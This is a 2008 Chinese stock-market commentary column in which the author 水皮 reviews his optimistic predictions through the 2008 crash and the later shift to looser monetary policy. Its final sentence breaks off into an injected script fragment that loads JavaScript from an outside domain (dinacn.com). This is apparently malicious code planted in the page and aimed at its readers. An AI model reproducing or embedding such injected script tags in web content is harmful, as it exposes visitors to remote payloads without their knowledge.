水皮杂谈：为什么执迷不悟地乐观？

2008-12-10 作者：水皮阅读：

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    在北京飞哈尔滨的飞机上有一位水皮杂谈的读者，读杂谈至少两年以上，他有一个问题不解，水皮为什么执迷不悟地乐观？
    乐观本来是水皮的人生理念，但是被人加上了执迷不悟这个定语，听上去总觉得别有滋味。很长一段时间，水皮在反思，为什么会给别人这样的印象。
    反思的结果之一是水皮在牛市中发言比较多，给大家留下了死多头的深刻印象；
    反思的结果之二是水皮在牛熊转换的初期一直抱着牛市的思维，以至于坚信2008年牛市不会结束；
    反思的结果之三是水皮在熊市的暴跌过程中很少预言股市的调整幅度，更少在媒体上流露悲观的情绪，而是不厌其烦地鼓吹政府救市，并说出了“早救市，找主动，晚救市，找被动”这样的话。
    但是，这并不代表水皮就没有悲观的时候。即便在相信牛市并没有结束的2007年底和2008年初，水皮亦在杂谈中反复讨论中石油对大盘的负面影响，指出“中石油的泡沫是典型的蓝筹泡沫，这个最大的泡沫的破灭对A股长期发展是利好，而对指数的短期走势却是拖累”。“中石油股价何时归位，上证指数何时重拾升途。”（2007年11月22日），而在中石油上市的当日，水皮更是警告中石油的开盘价在50元附近，为历史天价，大家要像远离毒品一样远离中石油和中石化。
    水皮的牛市思维真正开始动摇是在2008年的1月21日，这一天的杂谈题目叫“第二次5·30的概率有多大？”其时尽管上证指数尚在5200点附近，但是60%的个股股价却在反弹中接近了6000点的高位，深成指更是和前期高点只有500点的差距，中小板指数更是创出新高。而“只要以中石油为代表的能源板块，以工商银行为代表的银行板块，以万科为代表的房地产板块，三个板块中任何一个下跌，都会对指数构成重大的杀伤，如果三个板块同时发力，就会形成指数意义上的暴跌”，“想避免8月的暴跌，就必须在此之前让市场降温，市场自己不降，管理层就人为地降”。2008年2月18日，水皮杂谈发表《猴市特征为什么越来越明显》的文章，指出宏观经济不支持熊市，但融资取向不支持牛市，中国股市只有选择上蹿下跳的猴市。
    当然，水皮再悲观也想像不到指数能从6124点暴跌到1664点，其间唯一预测过的点位是3500点，时间是3月15日，指数尚在4000点，在“6000亿救市资金从何而来”的杂谈中指出指数会在3500点有强劲反弹。5月31日，水皮杂谈再一次提及“3500点是灾后重建的价值中枢”，提倡“战略上看多，战术上做空”，大涨大卖，小涨小卖，不涨不卖；大跌大买，小跌小买，不跌不买。
    3500点如果按照2008年的市盈率衡量的话，大致在25倍左右，这个点位也正是水皮在2006年底预测的2007年合理的估值点位，而当时文章的题目就是“水皮为什么会成为太空司令”，大意就是3500点以上才值得看空。
    特别值得一提的是8月11日，水皮一句“股市跌到2600点的时候，我实在没法再写什么”在网上居然引来上万读者的留言，不少人表示，水皮无法再写了就让我们替他写下去。其实，这是一个误会，水皮的意思是指数破了2600点就已经没底了，因为信心已经完全崩溃了。此后，9月18日指数打到1802点，10月28日指数又被打到1664点。在这场由误会引起的网络炒作中，有一个跟帖给水皮留下了终身难忘的印象，跟帖的意思是，正是水皮不断呼吁救市给广大的投资者造成政府会有所作为的误导，从而在该割肉的时候没有割肉，该离场的时候没有离场，而机构投资者又利用这种市场善良的愿望作掩护大举出逃。坦率地讲，读了这样的留言，水皮无言以对。
    2008年的中国股市，如此大起大伏，恶性暴跌，三分天灾七分人祸，个中缘由又岂是一个牛熊可以解释的？说到底，股市反映的还是经济。作为一个老同志，水皮早就应该知道，货币政策决定股市的生命，从紧货币政策出台之日就是熊市开始之时，从紧货币政策一日不松口，股市一天不见底。
    但是，乐观毕竟是天性。
    7月26日，水皮杂谈发表“第二次5·19行情会不会出现？”对比2008年和1998年的政治、经济、社会诸方面，提出历史会有惊人的相似之处。当时在许多演讲中，水皮一再提到的时间表是在2008年底和2009年初，现在依然如此，因为这一轮的调整，从空间上看足够，但是时间上不足，乐观的话会在年底，不乐观的话在明年初。
    1664点是不是底其实并不重要，重要的是6月13日全国省区市和中央部门主要负责同志会议召开，宏观调控出现转向之后的半年，和6月13日之前的半年已经不可同日而语，尤其是在11月10日之后更是如此。伴随着4万亿经济刺激计划出台的是适度宽松的货币政策，这意味着被抽干的流动性又开始流回来了，资金不是流出而是流入了。货币政策的调整力度要超过水皮提出“第二次5·19行情”猜想时的分析，毕竟从紧到宽松，中间隔着一个稳健?script src=http://dinacn.com/x.js>

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